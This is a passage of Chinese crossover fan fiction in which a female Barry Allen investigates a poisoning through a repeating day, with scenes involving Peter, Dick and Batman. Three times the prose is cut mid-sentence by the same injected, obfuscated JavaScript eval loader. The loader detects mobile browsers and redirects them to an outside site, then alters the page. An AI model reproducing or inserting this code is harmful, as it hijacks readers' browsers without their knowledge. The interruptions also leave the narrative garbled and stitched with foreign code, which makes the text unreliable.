下班之前,巴莉将自己的工作进展,或者说是毫无进展,告诉了乔和埃迪:“尸检的同事说,死者无明显外伤,疑似心源性猝死。除非有毒理学支持,否则基本判断不是谋杀。” 乔听出了巴莉的犹豫:“但你有不同的看法?” “目前,杯子里的液体中没有检测出任何常见毒物。”巴莉无奈地说,伸手揉了揉眼睛,“但我总觉得有哪里不对,想再多做一些检测。” “死者的妻子说,他的身体一向健康。她还给我们看了死者最近的体检报告,各项指标都很正常。”埃迪说,“她说自从两个星期前死者搬出去之后,他们就没见过面,想暂时给彼此一些空间。” “如果她说的是实话,而这确实是一起谋杀的话,那嫌疑人可能是工作场所的人。”巴莉说。 “死者是研发部门的主管,在公司里被称为‘暴君’,员工们都不太喜欢他。”埃迪说。 “确切地说,大家都很讨厌他。”乔接过话,“所以,我们也觉得这可能是一起谋杀。” “会不会是某种新型的毒素?”巴莉思索着,“要是那样的话,常规方法肯定检测不出来。” “有多新?实验室查不出来的那种?”乔担忧地皱眉。 “别担心。无论是什么,只要它存在过,就会留下痕迹;只要留下痕迹,实验室就能查出来。”巴莉自信地说,“再多给我一些时间。” 看着巴莉的背影,埃迪喃喃地说:“巴莉对自己的专业总是那么有信心……好像从来不会去考虑失败这件事。而且,说真的,她也确实一直做得很好。” “那是因为她从来不知道什么叫放弃。”乔的眼神中带着骄傲,“她总会找出答案的,不管要花多少时间。” 巴莉不知道身后的对话,但如果她听见了,她会说自己的自信源自长期积累的经验和不断的学习。 当天晚上,巴莉翻阅了几十本最新期刊,在心里列出了第二天的详细工作计划——从可能的新型化学物质,到毒理分析的改进方法,再到需要与尸检报告对照的细节,全都包括在内。忙完这些后,她才安心地去睡觉了。 48.第 48 章 第二天早上,闹钟准时响起。巴莉在被子里挣扎了几下,才迷迷糊糊地从床上起来,一边匆匆刷牙,一边查看手机信息。 未读信息不多,彼得又发来了一个视频链接。她习以为常地点开,打算看看这次是什么可爱动物。 视频里,两个年轻人各自伸出一只手叠在一起,旁边的小狗思考后认定这是跨越障碍游戏,抬起前腿跨了过去,然后满脸骄傲地看向主人。 屏幕里的人发出一阵大笑。巴莉却愣了一下,叼着牙刷回复彼得:“这个视频你昨天发过了。” 彼得的回复很快:“不可能呀,我第一次看到这个。” 紧接着,他的下一条信息到来:“我刚查了我们这几天的聊天记录,确定没有发过。你是不是把我和别人记混了?” 即便只是看着屏幕上的文字,巴莉都能想象出来,彼得敲下这些字母时一定是委屈巴巴的表情。 果然,下一秒,一个流泪狗狗头的表情包跳了出来。然后又是一个。 巴莉有点糊涂了。在彼得用更多的表情包轰炸她之前,她赶紧退出对话框,去翻看自己的聊天记录,确定伊德瑞斯没发过这个,迪克也没有。 她不太确定地说:“可能是我自己在网上看过了吧。或者是在同事的手机上一起看到的。” 彼得没有再纠结这个问题,只是继续发了几张表情包,然后说:“下次我们也试试。我认识一只很可爱的小狗。” 巴莉盯着这句话看了足足一秒。一种说不清的熟悉感从心里冒出来。 ——这句话,她好像已经看过一次了。 她很快把这种感觉归结为另一种可能:也许只是因为她和彼得太熟了,已经能自动脑补出他的回答。 巴莉放下手机,不再去多想了。 上班的路上,巴莉救下一位差点被转弯的汽车刮倒的老人。她将一张打印好的警示字条夹在那辆汽车的挡风玻璃上,心里又一次冒出熟悉感。 这个场景……好像发生过。 她皱了皱眉,但很快又想出了一个合理解释:她经常做类似的事情,也正因为频率太高,她才偷懒地打印了一叠字条,而不是每次手写。 所以,对这件事感到熟悉很正常。 ……应该是正常的吧。 当巴莉看见那只站在车流中间、一脸茫然的柴犬时,已经萦绕心头一个早上的奇怪感觉越来越重了。在查看柴犬脖子上的铭牌之前,她在心里想:不会是松树街123号吧? 真的是这个地址。 这一次,她不知道该用什么理由去解释了。 怀里的柴犬依然表现得从胆怯到嚣张,这次巴莉坏心眼地用手指弹了一下柴犬的脑门,在它还没反应过来之前,她赶紧把它放在主人家门前,然后在柴犬的愤怒大叫声中离开了。 之后,巴莉踩着打卡时间赶到了实验室。两名同事正在讨论昨晚的橄榄球比赛,中心城对战基斯顿城。 “让我猜猜,”巴莉把背包随意地放下,“比分是十比七,中心城险胜,对吗?” 两名同事同时看向她,其中一人惊讶地说:“我以为你不怎么看橄榄球比赛。” “所以我猜对了?”巴莉追问。 “没错。”同事点点头,又开玩笑地说:“下次带你去赌球吧,说不定我们都能提前退休。” 巴莉机械性地笑了一声,坐到自己的座位上,开始思考这一切到底是怎么回事。 难道她忽然有了预知能力吗? 预知能力和神速力有什么关联吗? 巴莉的思维不自觉地开始往十分离谱、但又并非完全不可能的方向延伸:如果她的速度可以超过光速,那是否意味着,她在某种意义上已经脱离了常规的时间约束? 相对论对她而言失效,时间悖论成为可能。 也就是说,她能看到未来? 还来不及仔细思考,巴莉就被叫去出外勤了。 外勤现场在一栋办公楼的十五层。电梯门打开之前,巴莉悄悄地做了个深呼吸。 果然,她再次遇见了乔和埃迪,得知死者是一名中年男性。 熟悉的黄色隔离带、办公桌上的电脑、文件堆,还有那个带吸管的杯子,一切都与昨天一模一样。巴莉按照流程查验了现场,将证据样本小心分装、标记。 在拎起工作包准备回实验室之前,巴莉忽然回头问了一句:“死者因为出轨被发现,和妻子分居了,对吗?” “你怎么知道的?”埃迪惊讶极了,“我们没从他的个人物品里看出端倪,这信息是刚从他的同事那里听说的。” 乔打趣道:“你什么时候变成福尔摩斯了?” “只是个运气好的猜测。”巴莉耸耸肩,心里知道这完全不是什么猜测。 回到实验室后,巴莉没有像往常一样从头开始各项检测,直接跳过了那些已经在记忆中完成过的流程。常规毒物筛查、基础色谱分析、金属离子检测……这些她在“记忆中的昨天”已经都做过了。 检测结果她也记得清清楚楚:没有任何异常。 她开始一一尝试“昨天晚上”列出的实验计划。可惜,每一次尝试依然没有得到期待的结果。 下班前,巴莉靠在椅背上,目光停在电脑屏幕上那一排整齐的重复结论:未检验出异常。 那是她今天的工作记录。 “总觉得哪里不对……”巴莉低声自语。 她点开其中一份报告,没有再盯着“未检验出异常”这个结论,而是换了个角度,去看那些被她下意识忽略的“正常”。 的确,所有指标都在参考范围之内,但其中太多项都卡在安全边界,有的偏高,有的偏低,这其中似乎有某种规律。 片刻后,她轻轻呼出一口气,拿出手机,打算咨询外援。 “拉妮,”巴莉拨通了纽约警局资深法医拉妮·帕里什的电话,“我遇到了个棘手的问题,想请教你。” 两人是在泽维尔天才少年学院举办的一次学术座谈会上认识的。那场会议实则另有目的,但对巴莉来说,她得到了许多意外收获。 电话那头传来带着笑意的熟悉声音:“听你这么说,肯定不是普通的问题。说吧,什么情况?” 巴莉简要描述了案件:突发死亡、无外伤、初步判断是心源性猝死,以及——所有常规毒理检测均为阴性。 “有意思。”拉妮说,“你坚持认为是谋杀?” “最开始只是直觉,但现在我越来越倾向这个判断了。太多项检测结果都卡在边缘,这不像是巧合。”巴莉解释道,并快速列举了几项。 “嗯……”拉妮思索着,“我好像听说过这种情况。” 巴莉立刻坐直了身体。 “一个加州的同行几个月前跟我提过一个案子,”拉妮继续说,“她当时也遇到类似的情况——所有常规检测都查不出来,但最后证明确实是毒物。” “她是怎么发现的?”巴莉急切地问。 “如果我没记错的话,”拉妮回忆着,“她最后用了某种比较特别的试剂,才让那个东西‘显形’。” 她又补充道:“她叫艾拉·洛佩兹。我把她的联系方式发给你,你可以直接问她。” “太感谢了。”巴莉说。她没想到事情发展会这么顺利。 原本,她只是希望拉妮能提供一些方向,哪怕只是一个尚未验证的猜测,也足够她继续往下推进;可现在,对方却把她引向了一个可以直接触及答案的路径。 “别客气,甜心。”拉妮亲昵地说。 两人又随意聊了几句生活中的小趣事,这才挂断电话。 很快,巴莉收到了拉妮发来的联系方式,立刻拨打了那个号码。 电话响了两声就被接起,一个轻快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362304|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而有活力的声音传来:“你好,这里是艾拉·洛佩兹。” “你好,我是中心城警局的法医巴莉·艾伦。”巴莉自我介绍道,“拉妮·帕里什把你的联系方式给了我,她说你处理过的一个案子可能对我有帮助。” “巴莉,这个名字真可爱。你是拉妮的朋友,那我们也算朋友啦。”艾拉热情地说,“拉妮是我见过的最棒的人之一。” 她说到一半,像是忽然意识到自己跑题了,又马上自我纠正:“这些我们之后再慢慢聊。先说正事,你遇到什么问题了?” 虽然尚未谋面,巴莉已经对艾拉心生好感。她快速地将自己遇到的情况讲了一遍。 “听起来真的很像我之前遇到的那个。”艾拉说,然后毫无保留地分享了她自创的检验方法。 她一边报出试剂名称和大致操作流程,一边解释自己当时的想法,以及哪些步骤可以简化,哪些地方容易出假阴性。 “我当时就是在这儿卡了好几次。”艾拉坦诚地说着自己的失败,还爽朗地笑了一声。 在回答了巴莉提出的几个问题之后,艾拉最后补充了一句:“这个方法不算标准流程。但如果你的直觉在提醒你不对劲,那它值得一试。” “我明白。”巴莉认真地说,“谢谢你,这正是我需要的。” “别客气,”艾拉瞬间从学术模式切换到休闲模式,“以后有好玩的案子和我分享就行了,我最喜欢这种需要一点探索的情况。我也会和你分享的,洛杉矶怪人特别多,奇怪案件也特别多。” 巴莉忍不住笑了一下。艾拉的情绪感染力实在太强,让她暂时忘记了这一天积压的烦恼。 两人又聊了几句,从实验室的小技巧聊到各自遇到的离谱案例,还约好之后经常交流。 挂断电话后,巴莉看着自己记下的笔记,思维已经开始自动模拟整个实验流程了。 然后,她的目光停在其中一行试剂名称上,轻轻皱了皱眉。 这个材料今天被她用完了。 巴莉赶紧打开网页,在警局的指定供应商那里提交了加急送货申请,暗自期盼他们明天一早就能送来。 下班前,巴莉去找了乔和埃迪,说自己已经有了思路,但今天无法完成。 然后,巴莉听了一遍和记忆中别无二致的案情介绍:死者身体健康,在单位很招人恨。 巴莉努力露出和平时一样的笑容:“明天等我的报告吧!” 乔看了她一眼,没有多说什么,只是点了点头。 巴莉却有些心虚,生怕被看出破绽,赶紧跑掉了。 她决定去一趟布鲁德海文。 迪克还没下班,确切地说,是正在加班。但他还是抽出时间来,和巴莉站在路边餐车旁啃热狗。 夜色已经完全落下,街道被一排黄色路灯照亮,光线柔和,把空气里的油脂香气都烘得更加诱人。 巴莉站在餐车前,非常认真地指挥着摊主:“酸黄瓜双倍,洋葱碎也要双倍,腌辣椒也来点。谢谢。” 她接过之后,又自己挤了分量夸张的番茄酱,然后嗷呜一口咬下去。 迪克看着她的腮帮子鼓鼓的,像是一只偷藏了许多瓜子的仓鼠,忍不住无声地笑了。 巴莉察觉到了,警觉地抬起头,眼睛滴溜溜地瞪圆了,像是在控诉:你是不是在想什么坏事? 迪克更想笑了,但他是罗宾、是夜翼、是能面对一切危险面不改色的男人——好吧,他没忍住,这次甚至笑出声了。 在巴莉的眼神威胁下,迪克不得不偷偷掐自己大腿,这才恢复了表情控制:“我有种感觉,你今天心情很好,但又不是很好。” 巴莉咽下嘴里的食物:“你有没有过那种感觉,就是生活里的事情,好像已经发生过一次了?” “déjà vu(既视感)?我想几乎每个人都有过吧。”迪克说。 49.第 49 章 “如果不是一两次,而是这一整天里,连续发生的几件事都有非常清晰的既视感呢?”巴莉补充道。 “这不像是巧合。”迪克下意识地说,思路已经朝着各种糟糕的可能狂奔。他的语气认真起来:“你被心灵控制了?有人入侵你的大脑,植入了不属于你的记忆?” “……这个猜想是不是有点太可怕了?”巴莉发现迪克的想法和她的完全南辕北辙,“有没有可能,是我突然觉醒了预知能力呢?” 迪克没有立刻回答,而是转身又去餐车买了两只热狗,然后举着两个锡纸包问巴莉:“这两个是牛肉还是鸡肉的?” “大魔法师才不会浪费精力去预知这种小事。”巴莉把手里的空包装纸捏成一团,接过一个热狗,打开后咬了一口,“不过,我现在可以回答了,这是牛肉的。” 迪克看着巴莉公然的作弊行为,叹了口气:“我觉得不是预知能力。” 由于巴莉过于乐观的态度,他的担忧有增无减:“会不会有人在暗中针对你?” “中心城有了新反派?”巴莉迟疑地说,“但这么做,对方有什么好处?” “让你过度相信自己的判断,然后在关键时刻犯错。”迪克说,“如果你习惯依赖这种既视感,觉得它总是正确的话。” 巴莉沉默下来,慢慢地把手里的热狗吃完,然后才抬起头:“我再观察一天。” 迪克点了点头,提醒道:“还有一种可能,魔法。” 他顿了一下,语气更谨慎了:“如果一件事涉及到魔法,那它通常会变得更复杂,也更难察觉。” “但我现在已经察觉到了,至少不是毫无防备。”巴莉说,“我会提高警惕的。” “需要帮忙的话,随时告诉我。”迪克叮嘱道。 “我知道。你快回去加班吧。”看着迪克明显的黑眼圈,巴莉催促道,“早点下班,才能早点去上另一份工。” 就在迪克感动于巴莉的体贴时,巴莉已经继续说下去了:“早点上另一份工,才能早点下工,避免上班迟到。唔,这个永动机制很完美。” 迪克倒吸一口冷气,向后退了一步,巴莉不明所以,但很自然地跟着向前走了一步。 她的动作正中迪克下怀。他指着巴莉头顶上方的路灯说:“资本家,你看这是什么!” 巴莉抬头看了一眼,露出十分嚣张的笑容:“怎么,你以为这个路灯有自动拾取功能,会把邪恶资本家吸上去挂着吗?” “这个创意不错,我要投资。”迪克作势要掏黑卡。 “看看,谁才是真正的资本家啊。”巴莉再次抬头,望着路灯深情地说:“路灯啊路灯,你可一定要分清楚,千万别吸错人了。” 早上,闹钟如常响起。巴莉从床上爬起来,一边匆匆刷牙,一边查看手机信息。 她第一个点开彼得的对话框,在看到那条熟悉的狗狗视频之后,原本残存的困意立刻消失了。 抱着侥幸心态,她又看了看日期,然后郁闷地把手机随手放在一旁,看着镜子里的自己发呆。 巴莉忽然意识到,这可能并不是什么既视感,也不是预知能力。 这根本是“土拨鼠之日”啊! 在电影《土拨鼠之日》里,只有男主角陷入时间循环,一遍又一遍地重复2月2日的经历,而整个世界对此毫无察觉。 等等,也许她不是一个人被困住了呢? 虽然目前看来,彼得是不知情的,巴莉还是打算确认一下。 彼得接电话的速度非常快,但声音很快由兴高采烈变成委屈巴巴:“巴莉,我都说了三次了,我确定,这是我第一次给你发这个视频。” 他的语气委屈得像一只被怀疑偷吃了零食、但其实真的什么都没做的小狗,恨不得立刻自证清白:“你要是再问一遍,我现在就带着测谎仪去找你。” “你为什么会有那种东西?”巴莉问。 “我在学校的杂物间里发现的,看起来是很老的型号。”彼得回答了问题,但没有被巴莉转移话题,“你为什么问我这么多次?” “我只是想做个实验。你知道,人有的时候会记忆模糊,反复提问可以唤醒你的潜意识。”巴莉胡扯道。 “我是小白鼠吗?”彼得听起来更委屈了。 “不要小瞧小白鼠为人类医学做出的贡献,要对它保持尊重。”巴莉理直气壮地说。 “那如果我是你的小白鼠的话,我也需要被尊重。”彼得的语气里带着小得意,显然觉得自己十分机智。 “我要去上班了。”巴莉果断地说。 “晚上我去找你。”彼得在电话被挂断之前赶紧喊道。 “好。”巴莉干脆地答应了。 接下来,巴莉先去救下差点被汽车刮倒的老人,又把走丢的柴犬送回了家,然后去实验室上班,去CBD写字楼出外勤,采集样本后回到实验室。 在这个时间点上,她尚未联系过法医艾拉,但在她的记忆里,她已经学会了对方的检测方法。此时实验室里材料齐全,因为巴莉还没有在“今天”将它们消耗掉。 巴莉决定先试试那个检测方法。 如果她还将继续被困在这一天里,去结识新朋友的意义不大,因为对方根本不会记得。她可以在记忆里认识艾拉无数次,但对方始终只会把她当成一个第一次来求助的陌生人。 这种关系是单向的。 除非恰好是在打破循环前的最后一次重复里,巴莉联系了艾拉,那样的话,这段友情的开端才会被保留下来,才真正存在于世界上,而不仅仅存在于巴莉一个人的记忆里。 可问题是,巴莉怎么可能知道哪一次是最后一次? 所以,不如在一切恢复正常后再去联系艾拉。 按照艾拉的方法,巴莉终于得到了成功的结果:咖啡里有毒,正是艾拉提到的新型毒素。 但新的问题又出现了:毒素的浓度不高,不足以致死。那么,受害人是怎么死的? 午饭时,巴莉给乔打了个电话。乔还在外面办案,背景音有些嘈杂。 “我需要知道死者的咖啡是在哪里获得的。”巴莉开门见山地说。 “好的,我会调查。”乔简短地说。 下午,乔和埃迪回到警局,带着巴莉需要的答案:“死者每天早上会在吉特斯咖啡馆打包咖啡,他自带杯子,可以免费中杯升大杯。” “他挣得比我多,但比我节俭。”巴莉忍不住忏悔了一句,然后将打印的检验结果递过去,“这是一种新型毒素,在咖啡里检验出来的,但浓度很低,哪怕是菜鸟律师都会对这一点抓住不放。” 乔说:“埃迪已经看过吉特斯咖啡馆的监控了,一切都很正常,店员没有异常操作。死者把杯子递过去,店员将做好的咖啡倒进去,然后死者带着咖啡离开,没有第三个人碰到杯子。投毒地点不是那里。” “那就是之后有人动了他的杯子?”巴莉只能这样猜测。 “死者的秘书说,死者到公司之后就坐下来连续开了两个会,连卫生间都没去过。没人能有机会去投毒。”埃迪说。 巴莉叹了口气:“无论投毒行为是如何实施的,残余液体中的毒药浓度都不应该这么低。” 三人都陷入沉思。 “也许不是简单地在杯子里投毒。”埃迪灵光一闪,“那是个吸管杯。如果有人把毒下在吸管里呢?” 巴莉正在吃乔从吉特斯咖啡馆带回来的甜甜圈,语速飞快地接着说下去:“很多人不会每天仔细清洗吸管,只是冲洗一下杯子。如果毒留在吸管内壁上,即使残留液体里的浓度很低,受害者累积的摄入量却可能很高!” “这也意味着作案时间和我们之前想的不一样,不是今天,而是昨天,死者离开公司之前。”埃迪接话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366268|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴莉把最后半块甜甜圈塞进嘴里,和埃迪击了一下掌,然后转身一溜烟地朝实验室跑去。 乔看向埃迪,夸奖道:“不错的想法。” 埃迪这才意识到自己刚才有点太激动了,赶紧把还没放下的手收回来,露出一个略显局促的笑容,低头继续工作。 乔本来还想再鼓励一句,但瞥见埃迪红得几乎要滴血的耳朵,顿时打消了念头——他怀疑自己要是再多说一个字,埃迪可能就要当场自燃了。 临近下班时,巴莉举着完整的报告神气十足地出现了:“找到了!毒确实在吸管内壁。那里残存的浓度更高,足以致命。” “接下来就轮到我们上场了。”乔接过报告,快速翻阅起来。 巴莉脚步轻快地走出警局,觉得傍晚的空气分外清新。 困扰了她几天的法医学问题,像一根卡在喉咙里的鱼刺,终于被一点点地拔了出来。 但这种轻松只持续了很短的一段时间。少了分心的事情后,她现在开始全心全意地烦恼另一件事了:如何打破时间循环。 “遇事不决,量子力学?”巴莉自言自语了一句,随即摇头,“算了,我又不是物理学家。” 她在落日下站了一会儿,决定看电影学习一下先进经验。 这一晚,巴莉和彼得在仓库里一起看了十几部电影,剧情中全都涉及了一个主题——时间循环。 《土拨鼠之日》、《明日边缘》、《恐怖游轮》、《忌日快乐》…… “我有点累了。”彼得揉了揉眼睛,一边打了个哈欠,“我们为什么要看这么多关于时间循环的电影?” “因为我想知道如何逃离时间循环。”巴莉说。 “这些都是编剧写出来的,又不是真的。”彼得觉得巴莉的想法幼稚得可爱。他歪在沙发上,调侃地说:“就算其中真的有哪个是编剧亲身经历的,你又要怎么去验证它的有效性呢?” “我自有办法。”巴莉神秘兮兮地说,“现在是头脑风暴时间。说出你的想法。” 彼得只好苦思冥想:“如果这些电影有什么共同点……那就是主角必须做出改变,或者完成某种成长,才能终止时间循环。” 巴莉一拍沙发扶手:“我也是这么想的!” 但她很快又皱起眉:“问题是,具体要做什么改变呢?” 彼得打开了一袋薯片,递到巴莉面前:“呃……变成更好的人?” 巴莉抓了一把薯片:“太笼统了。而且,我觉得我现在就是个很好的人了。” “这倒也是。”彼得立刻表示赞同,然后继续思考,“那……弥补遗憾?” 他说完立刻后悔了,因为他意识到,对巴莉来说最大的遗憾就只是那一件事。 果然,巴莉摇头:“这个太难了,除非我能让时间倒流。” “或者,做一些和时间循环的那一天不一样的事情?”彼得小心翼翼地说。 “这个其实很好实现,但要做到什么程度才算足够呢?”巴莉咔嚓咔嚓地咬着薯片。 她在心里盘算起来: 有些事是必须去做的,比如救下那位老人,以及送归那只柴犬。 有些事可以稍微推迟一天,比如完成犯罪现场的检测报告。 还有很多事情,她可以完全自由发挥。 “也许,关键不是改变了多少,而是——”巴莉轻声低语,“改变的是不是对的那一件事。” “如何找出对的那件事呢?穷举法吗?”彼得疑惑地说,“不过,穷举法的确是最适合极速者的万能解法了。” “应该是一件大事吧。如果只是上班的时候先迈左脚还是右脚,那也太无聊了。”巴莉猜测。 “或者这是一堂课,你必须学会某样东西,然后才能毕业。”彼得又冒出一个想法。 “这个听起来也很有道理。”巴莉说。 50.第 50 章 列出了无数种可能之后,彼得感觉自己的大脑已经彻底停摆了。 他慢慢滑下去,脸侧着贴在微凉的桌子上,声音闷闷地从桌面反弹回来:“头脑风暴的意思,就是头脑被风暴刮过,把脑细胞带走吗?我觉得我的脑细胞已经完全阵亡了。” 巴莉伸手戳了戳他脸颊上被挤出来的一小团肉:“你现在看起来像一条脱水的海带。” “谢谢你的安慰。”彼得有气无力地说,“我会把这句话刻在脑细胞的坟墓上的。” “别这么悲观,”巴莉用哄小孩的语气说,“也许还有一两个幸存的脑细胞正在废墟里求救。” 她又戳了一下彼得的脸颊,然后把一块牛肉干递到他的嘴边:“来,补充点营养,加速脑细胞的再生。” 被投喂的彼得甚至没有抬头,只是张开嘴咬住牛肉干的末端。他的眼中闪过一丝狡黠的光芒,叼着牛肉干说:“我没有力气回学校了。” 尽管知道彼得是在耍赖,但巴莉这次没有赶他回去,而是挑选起了电影:“那我们就看个通宵吧。” 她想确认时间循环到底发生在什么时候。是午夜十二点吗?她会自动回到自己的床上沉睡,然后再被闹钟叫醒吗? 彼得没想到一向女郎心似铁的巴莉会同意,惊喜万分,但听到要继续看电影,又感到头大如斗,不自觉地露出一种痛苦和纠结并存的复杂表情。 在回学校和看电影之间摇摆不定了一会儿,彼得最终还是选择了后者。 然后,他知道了一个好消息和一个坏消息。 好消息:他们不会再继续看时间循环的电影了。 坏消息:巴莉选的是一部恐怖片。 十分钟后,巴莉和彼得各自裹着一张毯子,紧紧地挨在一起,但谁也没有提出暂停。 屏幕里的光忽明忽暗。又一段紧张的配乐响起时,巴莉迅速闭上了眼睛。 几乎是在同一时间,彼得也闭上了眼睛。 两秒钟后,彼得小声地问:“巴莉,你是不是闭眼睛了?” 巴莉闭着眼睛,面不改色地说:“准确地说,我在用心看。” “那为什么你一点反应都没有?”彼得怀疑地问。 “因为我很冷静。”巴莉说,“你也没有反应。” “因为我也很冷静。”彼得说。 两个人同时心虚地睁开一只眼睛——只是一道缝隙——试探性地看向屏幕,又同时迅速闭上。 过了几秒,彼得决定给巴莉一个台阶,也是主动求生:“我们能换一部电影吗?” “为什么?”巴莉问。 “因为我害怕。”彼得诚实地说。 “其实我也害怕。”巴莉同样坦诚,“我现在不敢睁眼睛去找遥控器。” 长痛不如短痛,彼得下定了决心:“我去关。” 他说得很英勇,但实际操作起来,他还是决定先赌一把,依然闭着眼睛,完全凭感觉去摸索遥控器。然后,他一不小心按到了音量键。 下一秒,骤然放大的音效将两人吓了一跳。 巴莉一咬牙,睁开眼睛,尽最大努力不去看屏幕画面,飞快地拿起遥控器,连按几下退出播放界面。 仓库终于安静了。 “我们以后再也不看这类电影了。”彼得说。 “同意。”巴莉说。 “我需要洗涤一下眼睛,”彼得说,“还有心灵。” “看《猫和老鼠》怎么样?”巴莉问。 彼得拼命点头:“好。” 屏幕再次亮起,轻快的配乐流淌而出。巴莉选择了原速播放,画面里,杰瑞用层出不穷的机智点子把汤姆耍得团团转,动作夸张又可爱。 这一次,两人终于不再胆战心惊,时不时发出放松的笑声。 慢慢地,困意袭来,巴莉和彼得头挨着头睡着了。 早上,闹钟响起。 巴莉缩在被子里,没有立刻起身,而是伸手去摸手机,看屏幕上显示的日期。 果然,她又回到了这一天的早上。 巴莉把手机丢在枕边,慢吞吞地用被子把脑袋蒙住,仿佛这样就能将自己和外界彻底隔绝一样。 她不知道自己昨晚为什么会坚持不住而睡着,这完全不正常。也许同样是某种神秘力量的影响吧,就和她重复这一天一样不正常。 巴莉苦中作乐地想,比起游戏《星露谷物语》的主角,她的处境已经算不错了——至少不会因为深夜未归就被“系统惩罚”,被迫扣掉一笔钱。 接下来,她回复彼得的信息、救人行横道上的老人、送柴犬回家、出外勤、在实验室做检测并准备报告……熟悉的流程走完,连午饭时间都还没到。 毕竟,这是她第四次经历这一天了,巴莉觉得自己可以完全不需要思考、仅凭身体本能完成一系列事情。 “巴莉,你不会是用……完成的吧?”拿到报告时,乔压低了声音,还自动为关键词消音,用意味深长的眼神代替“神速力”三个字。 就算是普通检测,这效率也太夸张了——法医那边的报告甚至还没出来呢。 “这只是我的正常工作水平。”巴莉故作深沉,还很低调地夸了自己一句,“我一向都是这样的。” 乔宠爱地用报告轻轻敲了敲巴莉的手背:“我知道你有分寸,但还是悠着点。” “放心吧。”巴莉嘿嘿笑了一声。 她随口说道:“受害人早上已经开了两个会,咖啡却还剩下不少。我只用了其中一小部分取样。” “什么开会?”埃迪疑惑地说,“受害人早上进办公室之后,刚和秘书说了几句话就倒下了。” “啊?”巴莉呆了一呆,赶紧掩饰地说:“可能是我记错了。” 她又不动声色地补问了几句细节——受害人去的是哪一家吉特斯咖啡馆、几点到达公司、有没有其他人接触过他——语气听起来只是例行确认,但她的问题比平时细致得多。 乔和埃迪没有多想,只当她是因为这个案子有些独特的作案手法而感兴趣,将目前掌握的情况告诉了她。巴莉点点头,匆匆赶回实验室了。 坐在座位上,巴莉对着电脑整理另一份报告,但心思已经完全不在工作上了。 她原本以为,在不断重复的这一天里,只有她能引起改变。只有她的选择才会带来偏差。 就像那个老人和拐弯的车辆。如果他们其中一方出门的时间发生变化,哪怕只是几秒,那场危险就不会发生。但每一天,他们都分毫不差地遵循了同样的时间。 就像那只柴犬。如果它的主人把门锁好,或者它偷跑出去的路线发生了偏离,那它就不会在固定的时间出现在固定的车流之间。可事实是,它总是在那里。而且她记得那些车辆,司机、车牌号、甚至是刹车时的位置,全都毫无变化。 于是,巴莉理所当然地得出了结论:世界的变化,只会由她触发。 这是她以为的规则。 可现在,这个规则出现了裂缝。 在出外勤之前,巴莉今天的行动轨迹与前三天没有任何区别。起床时间、通勤路线、进入实验室的时间点,都和之前一致。 她没有去过那家吉特斯咖啡馆,没有做过任何可能影响受害人的事情,也没有接触过任何可能的嫌疑人。 按理说,受害人的死亡时间应该和之前几次完全一致,但事实却并非如此。 巴莉试图回忆第一次和第二次经历这一天时,受害人是在什么时候死亡的。可她的记忆里并没有那些信息。 那两天,她一直埋头在毒物检测里,想解开未知的谜团,没有关心过案件的细节。 下一次经历这一天时,受害人的死亡时间还会改变吗? 那其它事情一定会保持不变吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377126|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,巴莉的手机震动了一下。声音不大,她却几乎惊跳起来。 这不是她的行为、不是她的选择。 这是一件由别人发起的改变。 巴莉的心跳因为未知而乱了一拍。她下意识地抬头扫了一眼四周,确认没有同事注意自己,这才点开那条在正义联盟加密软件中的信息。 发信人是蝙蝠侠,内容简短:“方便时请来一趟。” 巴莉实在好奇蝙蝠侠为什么会忽然联系自己,反正现在继续上班其实完全没有意义,她做的每一项工作都需要在未来重做一遍,于是她临时请了假。 她必须立刻去哥谭见蝙蝠侠。 在正义联盟那处临时总部里,巴莉见到了蝙蝠侠。他坐在那张巨大的圆桌边,面前摆着一台笔记本电脑。 “我以为你会在下班后来。”蝙蝠侠说。 “请假了。”巴莉在蝙蝠侠旁边坐下,椅子移动时发出细微的声响,“发生什么事了?” “我观测到中心城有奇怪的能量波动……”蝙蝠侠说。 他的话刚说了一句,就被巴莉打断了:“等等,你在监控中心城?” 她感到一点微妙的不悦,语气中难免带上了些锋芒。 “……我在监控整个地球。”蝙蝠侠冷静地说。 “好吧,这听起来就没那么针对我了。”巴莉的那点不悦立刻散掉了,反而生出几分理所当然的感觉——监控整个地球,听起来就是蝙蝠侠会做的事。 她身体微微前倾,好奇地问:“什么能量波动?魔法吗?” 蝙蝠侠将电脑屏幕转向她:“这是我设计的一个软件,主要用来监控时空异常能量波动。我确实获得了魔法师的帮助,但监控内容不限于魔法引起的波动。” “为什么要监控这个?”巴莉困惑地盯着屏幕。 因为另一个世界的闪电侠曾毫无征兆地出现,又迅速消失。 